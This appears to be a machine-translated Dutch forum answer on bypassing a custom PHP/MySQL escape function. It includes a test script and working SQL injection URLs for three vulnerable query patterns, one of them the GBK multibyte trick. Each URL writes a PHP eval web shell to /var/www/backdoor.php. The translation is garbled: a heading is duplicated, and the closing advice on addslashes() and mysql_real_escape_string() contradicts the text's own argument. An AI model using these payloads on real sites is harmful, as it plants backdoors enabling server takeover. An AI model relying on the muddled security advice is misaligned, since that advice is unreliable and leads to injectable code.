Als je gewoon . bent vervanging van '
met ''
dan zou je dit kunnen misbruiken door een \'
. te injecteren die zal veranderen in een \''
en dit zal je in staat stellen om uit te breken omdat dit je een "letterlijk" enkel aanhalingsteken en een echt enkel-aanhalingsteken geeft. Echter, de vervanging van "\\"
met "\\\\"
ontkent deze aanval. Het dubbele enkele aanhalingsteken wordt gebruikt om enkele aanhalingstekens te "ontsnappen" voor MS-SQL, maar dit is niet juist voor MySQL, maar het kan werken.
De volgende codes bewijzen dat deze ontsnappingsfunctie veilig is voor iedereen behalve drie voorwaarden . Deze code doorloopt alle mogelijke variaties van controlecharters en test ze allemaal om er zeker van te zijn dat er geen fout optreedt met een enkele aanhalingstekens ingekapselde select-instructie. Deze code is getest op MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Kwetsbare voorwaarde 1:geen aanhalingstekens gebruikt.
mysql_query("select username from users where id=".escape($_GET['id']));
Exploitatie:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Kwetsbare voorwaarde 2:dubbele aanhalingstekens gebruikt
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Exploitatie:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Kwetsbare voorwaarde 2:enkele aanhalingstekens worden gebruikt, maar een alternatieve tekenset wordt gebruikt. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Exploitatie:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
De conclusie is om altijd mysql_real_escape_string()
. te gebruiken als de ontsnappingsroutine voor MySQL. Querybibliotheken met parameters zoals pdo en adodb gebruiken altijd mysql_real_escape_string()
wanneer verbonden met een mysql-database. addslashes()
is VEEL BETER van een ontsnappingsroutine omdat het zorgt voor kwetsbare toestand 2. Opgemerkt moet worden dat zelfs mysql_real_escape_string()
stopt voorwaarde 1, maar een geparameteriseerde querybibliotheek wel.